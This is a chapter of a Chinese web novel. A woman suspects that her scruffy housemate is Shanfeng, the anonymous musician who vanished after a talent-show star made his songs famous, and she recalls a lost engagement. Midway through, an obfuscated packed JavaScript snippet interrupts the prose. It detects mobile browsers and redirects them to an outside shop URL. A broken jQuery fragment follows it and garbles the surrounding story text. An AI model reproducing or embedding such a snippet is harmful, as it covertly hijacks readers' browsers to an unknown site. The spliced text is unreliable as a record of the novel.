“静听”是一个音乐网站，蔡云深进大学以来都用它听歌。
跟神秘的音乐人山风认识，就是在这上面。
要说怎么互关的，记不清了。反正成为好友后某一天，蔡云深去山风页面，惊讶地发现这人居然还出过一张专辑，名叫《蔷薇山谷》，风格是灵魂乐——
他头像的玫瑰图样，就是这张专辑的封面。
带着好奇点开一听，惊为天人。但是那个时候听这张专辑的人很少，或许因为它是纯音乐。
当即就跟山风发私信说，“我有眼不识大佬！”然后满腔热情，去静听社区发了乐评推荐。
以此为契机，跟山风变成时不时就会给对方推歌的好友——
就连《残梦》这首歌，也是因为山风推荐，她才听到。
事实上，帮山风出《蔷薇山谷》的唱片公司就叫“残梦音像”。听他说，残梦的老板就是因为喜欢这首歌，才有了这个名。
因为山风，蔡云深专门去了解过“残梦”，发现它旗下还有其他几个不错的音乐人。
奈何残梦体量小，相关新闻没什么人关注，属于那种随时倒闭都不奇怪的独立厂牌。
再后来，静听推出歌单功能。蔡云深把喜欢的歌做成不同风格的歌单。
她在静听的ID叫“满月时听歌”，所以给这些歌单都打上了统一的前缀：
“满月电台”。
而山风，则爱好跟她讨论这些歌单：
哪些音乐他喜欢，哪些实在不行，哪些风格近似、但蔡云深没听过的，沧海遗珠，值得去听听看。如果适合，也该拉进歌单……
就这样，三年过去。对于山风，只知道他是个年轻男人，跟她交流时温和客气，评论音乐却毒舌；
在音乐方面很有天赋，创作的专辑很好听；专辑里有且只有一首带人声，名叫《告别》，就那个哼唱而言，他的声音也很好听。
至于山风的真实姓名、实际岁数、长相样貌……一概不知。
听歌是一种习惯，静听天天都用。只要登录，就会给山风留言，听听歌，然后明天见。
可是某一天，成为她习惯中一个部分的山风，却突然不再回复她，就那么毫无预兆地消失了。
山风突然火起来是三年前。
当时，一档现象级音乐选秀节目横空出世，里面有个叫泰川的创作型歌手外形出众、才华横溢，毫无悬念拿下冠军。
之所以跟山风产生关联，是因为泰川翻唱了他专辑里的曲子——
更准确地说是用了山风的旋律，泰川自己填词。结果两首歌都在那个夏天爆红，尤其是在决赛里演唱的《告别》。
因为这缘故，原本无人问津的《蔷薇山谷》被发掘，登上各平台播放热榜。残梦音像趁热打铁，再版了专辑，之后甚至推出限定黑胶，价格被炒得一翻再翻。蔡云深一开始是抢不到，后来则是卖不起……
然而，专辑的创作者山风却没有任何要接住这波流量的意思：
他依然维持消失状态，不曝光、不出现、不接受任何采访。
就连残梦也无法提供山风的动态，
《蔷薇山谷》的版权是在残梦，但山风本人跟他们已经没有任何合约关系。
所以，直到现在，依然没有人知道山风人在哪里、过得如何。还热爱音乐吗？又是为什么不再写歌？
蔡云深也想问他这些问题，就像那些突然出现的粉丝一样——
能够证明山风存在的，只有他留在静听上的动态。追着他的关注，大家发现了“满月时听歌”这个ID。他们给蔡云深私信，问她是不是认识山风？现实里的山风是怎样的人？到底还会不会再出专辑？……
她也不知道。
在这个信息爆炸的时代，一个突然引起公众关注的音乐人，却什么都扒不出来。于是有人开始神化山风，同时神化他的伯乐泰川，分析泰川和山风之间千丝万缕的关系，对比两人的声线，以此论证他们根本就是一个人；
也有内部人士发话，说泰川当初就是年纪小，被残梦音像坑了，签下不公平合约，导致现在明明是自己的作品，却没法认领，连“山风”这个身份也失去；
还有人自称是山风多年粉丝，“他还没人听的时候我跟他就很熟！”骂泰川，说他哪是什么“致敬”山风，明明就连风格都是抄人家的，没有山风的《告别》，冠军怎么可能是他？
……
众说纷纭。但是流言再多，山风也没有半点要活过来为自己澄清的意思。就像烟火那样，出现过，然后消失了，留下了无数悬念。
所以才令她印象深刻呢。
感慨中，蔡云深仰头。然后，她就发现了令她感觉毛骨悚然的源头——
逼仄的天花板上全是霉污。一圈一圈的螺旋，好像无数双怪物的眼睛与她对视。
放空地看了它们好一阵，蔡云深才收回视线。
纸条，信纸，周记……
这些属于过去的纸制品不想扔，却也不想别人看见。
环顾四周，觉得是铁架床的上铺最为隐秘：
那里离污浊的天花板最近，还都用白布遮着，就像尸体。
蔡云深抱着重新密封好的纸箱爬上去。
东西放好，开始好奇白布下究竟藏着什么。掀开一看，居然是有关音乐的一切：
磁带，CD，随身听，复读机，甚至更老式的收音机……
还有一把乐器。
乐器装在黑包里，看形状应该是……
吉他？
这些都是阿旺的？
再看透明收纳盒里音像制品，都很老旧，什么孙燕姿，周杰伦，莫文蔚……
就是这时，蔡云深看见一个熟悉的图案。
那是被塞在箱子侧面的图纸——
一支轻握玫瑰的手，专辑《蔷薇山谷》的封面。
山风的头像。
……
从灰楼回到白宫，从过去回到现在。到快吃晚饭的时间，那个引发她猜测的、一整天都不知道跑去哪里的阿旺才终于冒头。
人没露面，先听到他声音在单元楼外——
“阿旺！你这脸，听说是被狗咬的？”
“是啊。”
“怎么回事，主人没栓狗绳？”
“栓了，是我自作主张非要抱那只小狗。”
“你怎么敢的？”
“我想大家都是狗，它应该不会伤害同类吧……就大意了。”
“哈哈哈哪有人说自己是狗的？”
……
蔡云深瘫在客厅沙发上，一边听窗外人聊天，一边发呆。
收纳盒上了锁，没法拿出来看仔细。但她分明隔空看到，图纸上面有“打样”的字眼。
山风专辑封面的打样，为什么会在阿旺手里？
如果说昨天在书房看到那张老唱片，还只是心生感触，那么现在，她是真的开始怀疑。
有些真相呼之欲出，她却害怕印证。
在近乎怦然的心跳中，门外的人上楼、开门。
蔡云深假装无事发生。
人回来没多久，就说要去遛狗。不仅打算遛小虎，还打算带露娜一起，仿佛忘了自己昨天才被它咬过。
许江说什么都不允许，除非——
“妹妹，你陪阿旺去！”
蔡云深心绪复杂地起身。
要出门了，丁聪聪溜出来，说想跟他们一起去。
“你硬笔字赶完了？”阿旺问。
“怎么可能？”
“那就继续赶，你昨天不是说了今天要一口气写完？”
丁聪聪开心的脸一下黯淡。
蔡云深心生怜爱：“走，阿姨带你去。”
昨晚才收了钱、跟蔡云深站到一队小男生听到这句绽开笑意：“谢谢蔡阿姨！”
一旁的阿旺闻言也不二话，顺手就把小虎的狗绳递给蔡云深。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059641|195002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蔡云深极其自然地接过狗绳。那种顺滑的默契让她在察觉之后，打从心底地抵触：
什么情况？
为什么好像她好像已经很接纳这个人？
不过是一首老歌、一张图纸。
打住，打住。
没有什么永恒正确，包括她的本能。
正自我告诫，就见阿旺将蹲身换鞋的丁聪聪整个架起来，像端一盆水般把他端回卧室。
“蔡阿姨都答应带我去玩！”
“她说话又不算。”
处理完丁聪聪后，阿旺出来，从她手里牵回小虎，让她出门。
到了院子里，蔡云深都还没想过这事情，忍不住为自己刚收服的小弟鸣不平：
“就是出来遛个狗，能耽误多少时间赶作业……”
阿旺却说：“他得逞一次就会有无数次。难道要我一直迁就？很麻烦的。”
很麻烦？能有多麻烦？“不过就是给小孩做点顺水人情。”她还给了他100块呢。
“没回报的人情做来干嘛？我又不搞慈善。”
蔡云深听得挑眉。
她是哪里搭错线，竟会认为天赋卓绝、情感细腻到能创作出《蔷薇山谷》的山风，是眼前这个头顶鸡窝、脚蹬塑料拖鞋的男人？
在心中大加否认，眼前出现林荫道。波光点点，在黄昏中异常美丽。
蔡云深惊讶地走进树影。
以前，在滨城，她租的地方很偏。但是家附近有一处地方她非常喜欢，就是去地铁站前会经过的林荫道。道旁有一家江安小炒。
因为是家乡的味道，一个月有那么几次，她都会挤时间去光顾，点份盖浇饭吃完，再喂喂店里养的流浪狗，然后在落日里漫步回家。
小店生意火爆，坐她对面的总是陌生食客。
那时蔡云深总会想，如果有人来这家店跟她一起吃饭该多好。那样可以多炒几个菜，还可以坐同一张桌子。
就是那时，她才骤然发现在这座城市里，竟然没有谁，让她可以毫无顾虑地在休息日里打扰，让对方绕路到这个偏远的路边摊来，陪她吃晚餐。
后来，一次陪网红出席活动，隔壁部门的头头赵宇也在。
结束后，赵宇问她家住哪。知道后说反正顺路，送她回家。
那是初夏。车开到她家附近时正是黄昏。日与昼分界的时刻，总有种致幻的魔力。漫天的霞光如波光粼粼的热海，温柔地包裹他们，这条路上的所有人，她和赵宇。
她沉醉其中，就听赵宇感叹，
“这里的林荫道真美。”
蔡云深觉得自己像一处阴湿的角落，突然，有光照亮她。
“是啊……我也一直这么觉得。”
听她这么回应，开车的男人笑了。蔡云深感知到他声音，还有他轻微晃动的肢体。又听他接着问，“这附近有什么好吃的吗？”
那天晚上，他们一起走进小炒店。
……
之后恋爱了，搬家。却还是常光顾那家小店。跟赵宇约在某个周末，去那吃饭，逗狗，然后并肩走进林荫道。
他们都喜欢小狗，但工作太忙了。养狗不现实，或许未来可以有。未来，要是可以两个人牵着狗，在落日的林荫道里漫步，多么惬意；
也都喜欢夏天，因为恋情开始于此。所以把婚期定在八月，仿佛那样，就能拥有永恒的夏日。
可是最终，这个八月。
蔡云深离开滨城，唯一带走的是小炒店新来的流浪狗。
……
正陷在回忆里无法自拔，一股酸臭袭来——
前面是垃圾堆。
蔡云深皱鼻。
破烂的小区，腐败的气味。此刻跟她走在林荫道里的，是认识了一天的同居人。他脸上有伤，走路歪斜；她双眼乌青，心如死灰。
他们牵着狗。
原来如此，蔡云深想。
憧憬实现的片刻，有时也伴随幻灭。